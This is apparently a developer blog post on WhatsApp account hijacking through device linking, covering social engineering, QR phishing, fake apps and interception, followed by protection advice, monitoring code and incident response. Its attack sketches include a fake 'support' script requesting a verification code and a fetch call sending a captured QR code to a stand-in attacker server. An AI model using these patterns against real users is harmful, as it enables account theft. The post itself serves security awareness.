Jeff Bruchado
Back to blog

Cybercriminals Use WhatsApp Tool to Hijack Accounts: How to Protect Yourself

Hello HaWkers, a new threat is worrying security experts. Cybercriminals are exploiting a legitimate WhatsApp tool to hijack user accounts.

Have you ever received a suspicious message asking for a code? Or maybe you know someone who had their WhatsApp account stolen? The attack we're going to discuss is sophisticated and deserves special attention from developers who work with security.

What Is Happening

Security researchers discovered that cybercriminals are abusing WhatsApp's device linking feature to gain persistent access to victim accounts.

How the Attack Works

WhatsApp allows linking up to 4 additional devices to an account (WhatsApp Web, Desktop, etc.). Attackers exploit this feature as follows:

Step 1: Social Engineering

The attacker contacts the victim posing as:

  • WhatsApp technical support
  • Bank employee
  • Friend/family member in emergency situation
  • Known company

Step 2: Obtaining the Code

Attacker: "Hello, we detected suspicious activity on your account.
For security, we sent a verification code.
Can you confirm the code you received?"

Victim: "I received 847291"

// This code is used to link a new device

Step 3: Persistent Access

Once linked, the attacker has access to:

  • All new messages
  • Conversation history
  • Contacts
  • Shared media

Why This Matters For Developers

Attacks on Corporate Accounts

Developers frequently use WhatsApp for:

  • Team communication
  • Customer support
  • Two-factor authentication
  • System notifications

A compromise can expose:

  • Access credentials
  • Verification codes
  • Confidential project information
  • Customer data

Security Implications

// Example: System that sends codes via WhatsApp
// If account is compromised, attacker receives the codes

class WhatsAppNotifier {
  async sendVerificationCode(phone, code) {
    // Send verification code
    await this.client.sendMessage(phone, {
      text: `Your verification code: ${code}\n` +
            `Valid for 5 minutes.\n` +
            `DO NOT share this code with anyone.`
    });

    // Log for auditing
    logger.info('Verification code sent', {
      phone: this.maskPhone(phone),
      timestamp: new Date().toISOString()
    });
  }

  // If attacker has access to WhatsApp Business account,
  // they receive copy of all sent codes
}

Detailed Attack Techniques

1. QR Code Phishing

Attackers create fake sites that display malicious QR codes:

<!-- Fake site: whatsapp-web-secure.com -->
<div class="fake-login">
  <h1>WhatsApp Web</h1>
  <p>Scan the QR Code to continue</p>
  <!-- QR Code that links attacker's device -->
  <img src="malicious-qr.png" alt="QR Code" />
</div>

When the victim scans, they link the attacker's device to their account.

2. Malicious Applications

Fake apps that promise extra features:

// Malicious app: "WhatsApp Plus" or "GB WhatsApp"
// Requests linking QR code as "configuration"

class MaliciousApp {
  async setup() {
    // Display screen asking for QR Code
    const qrCode = await this.requestQRCode();

    // Send to attacker's server
    await fetch('https://evil-server.com/capture', {
      method: 'POST',
      body: JSON.stringify({
        qrCode,
        deviceInfo: this.getDeviceInfo()
      })
    });
  }
}

3. Man-in-the-Middle Attacks

On compromised WiFi networks:

// Attacker intercepts WhatsApp Web connection

class MITMAttack {
  intercept(request) {
    if (request.url.includes('web.whatsapp.com')) {
      // Modify response to include malicious device
      const modifiedResponse = this.injectMaliciousDevice(request);
      return modifiedResponse;
    }
    return request;
  }
}

How to Identify if Your Account Was Compromised

Check Linked Devices

In WhatsApp, go to:

  1. Settings > Linked devices
  2. Check if you recognize all devices
  3. Disconnect any suspicious device

Warning Signs

// List of compromise signs
const warningsSigns = [
  'Messages marked as read that you did not read',
  'Replies sent that you did not write',
  'Contacts receiving your messages that you did not send',
  'Unknown devices in the linked list',
  'Login notifications from unknown locations',
  'Battery draining faster than normal',
  'Abnormal data usage'
];

Security Audit

// Script to check for suspicious activity
// Conceptual - WhatsApp does not offer official API for this

async function auditWhatsAppSecurity() {
  const audit = {
    timestamp: new Date().toISOString(),
    checks: []
  };

  // 1. Check linked devices
  const devices = await getLinkedDevices();
  audit.checks.push({
    name: 'Linked devices',
    count: devices.length,
    suspicious: devices.filter(d => !d.recognized),
    action: devices.length > 2 ? 'REVIEW' : 'OK'
  });

  // 2. Check last activity
  const lastActivity = await getLastActivityByDevice();
  audit.checks.push({
    name: 'Activity by device',
    data: lastActivity,
    suspicious: lastActivity.filter(a =>
      a.location !== 'USA' || a.time.getHours() < 6
    )
  });

  // 3. Check security messages
  const securityMessages = await getSecurityNotifications();
  audit.checks.push({
    name: 'Security notifications',
    data: securityMessages,
    action: securityMessages.length > 0 ? 'INVESTIGATE' : 'OK'
  });

  return audit;
}

How to Protect Yourself

1. Enable Two-Step Verification

WhatsApp > Settings > Account > Two-step verification

- Create a 6-digit PIN
- Add recovery email
- Never share the PIN

This adds an extra layer: besides SMS, the attacker would need the PIN.

2. Review Devices Regularly

// Recommended security routine
const securityRoutine = {
  daily: [
    'Check login notifications'
  ],
  weekly: [
    'Review linked devices',
    'Check security messages'
  ],
  monthly: [
    'Change verification PIN',
    'Review app permissions',
    'Update WhatsApp to latest version'
  ]
};

3. Recognize Social Engineering

// Red flags in messages
const redFlags = {
  urgency: [
    'Respond immediately',
    'Your account will be blocked',
    'Action required now'
  ],
  authority: [
    'WhatsApp Support',
    'Security team',
    'Official department'
  ],
  requests: [
    'Send the code you received',
    'Confirm your PIN',
    'Scan this QR Code'
  ]
};

// WhatsApp NEVER asks for code via message

4. Configure Privacy

Settings > Privacy:

- Profile photo: My contacts
- Last seen: My contacts
- Status: My contacts
- Groups: My contacts

This reduces attack surface for social engineering

For Developers: Best Practices

Don't Use Personal WhatsApp for Work

// Separate personal and professional accounts
const accountStrategy = {
  personal: {
    number: 'Personal number',
    usage: ['Family', 'Friends'],
    sensitiveData: false
  },
  business: {
    number: 'Corporate number',
    usage: ['Clients', 'Team', 'Support'],
    sensitiveData: true,
    securityMeasures: [
      'Two-step verification MANDATORY',
      'Weekly device review',
      'Do not auto-save media',
      'Encrypted backup'
    ]
  }
};

Implement Alternative Channels for Sensitive Data

// Never send credentials via WhatsApp
class SecureCredentialSharing {
  async shareCredentials(recipient, credentials) {
    // Use specialized services
    const options = [
      {
        service: '1Password',
        method: 'Shared vault'
      },
      {
        service: 'Bitwarden',
        method: 'Send feature'
      },
      {
        service: 'HashiCorp Vault',
        method: 'One-time secret'
      }
    ];

    // Generate temporary link
    const secretLink = await this.createTemporarySecret(credentials, {
      expiresIn: '1 hour',
      maxViews: 1,
      requiresPin: true
    });

    // Notify via WhatsApp only that there's a secret
    await this.whatsapp.send(recipient, {
      text: `Credentials available at: ${secretLink}\n` +
            `Link expires in 1 hour.\n` +
            `Use the PIN I'll send by email.`
    });

    // Send PIN through different channel
    await this.email.send(recipient.email, {
      subject: 'PIN to access credentials',
      body: `PIN: ${secretLink.pin}`
    });
  }
}

Monitor Suspicious Activity

// Alert system for WhatsApp Business API accounts
class WhatsAppSecurityMonitor {
  constructor(webhookUrl) {
    this.webhookUrl = webhookUrl;
    this.alerts = [];
  }

  async checkForAnomalies(activity) {
    const anomalies = [];

    // Check unusual time
    const hour = new Date(activity.timestamp).getHours();
    if (hour < 6 || hour > 23) {
      anomalies.push({
        type: 'UNUSUAL_HOUR',
        severity: 'medium',
        details: `Activity at ${hour}:00`
      });
    }

    // Check location
    if (!this.isKnownLocation(activity.location)) {
      anomalies.push({
        type: 'UNKNOWN_LOCATION',
        severity: 'high',
        details: `Access from ${activity.location}`
      });
    }

    // Check message volume
    if (activity.messageCount > this.averageMessageCount * 3) {
      anomalies.push({
        type: 'UNUSUAL_VOLUME',
        severity: 'medium',
        details: `${activity.messageCount} messages (average: ${this.averageMessageCount})`
      });
    }

    if (anomalies.length > 0) {
      await this.sendAlert(anomalies);
    }

    return anomalies;
  }

  async sendAlert(anomalies) {
    await fetch(this.webhookUrl, {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({
        timestamp: new Date().toISOString(),
        anomalies,
        action: 'INVESTIGATE'
      })
    });
  }
}

What to Do if You Are Attacked

Immediate Response

const incidentResponse = {
  immediate: [
    '1. Disconnect ALL linked devices',
    '2. Enable two-step verification (if not already)',
    '3. Change verification PIN (if already have)',
    '4. Notify contacts about compromise'
  ],

  shortTerm: [
    '5. Check other accounts (email, bank, etc)',
    '6. Review messages sent by attacker',
    '7. Report to WhatsApp via app',
    '8. File police report if there is damage'
  ],

  longTerm: [
    '9. Review and strengthen security of all accounts',
    '10. Consider changing number if attacks persist',
    '11. Educate family/team about scams',
    '12. Implement continuous monitoring'
  ]
};

Message Template for Contacts

⚠️ SECURITY NOTICE

My WhatsApp account was compromised.
If you received strange messages from me
in the last [X] hours, please ignore.

NEVER send:
- Verification codes
- Bank details
- PIX or transfers

I have already recovered access and am taking
action. Any questions, call me.

Conclusion

WhatsApp account hijacking is a real and growing threat. For developers, who frequently handle sensitive data, protection should be a priority.

The main actions are: enable two-step verification, review linked devices regularly, never share verification codes, and separate personal from professional accounts.

Remember: WhatsApp never contacts you asking for codes or personal information. Any message requesting this is a scam.

If you want to dive deeper into security for developers, I recommend checking out another article: Passkeys and WebAuthn: The End of Passwords Is Near where you'll discover technologies that are making authentication more secure.

Let's go! 🦅

Comments (0)

This article has no comments yet 😢. Be the first! 🚀🦅

Add comments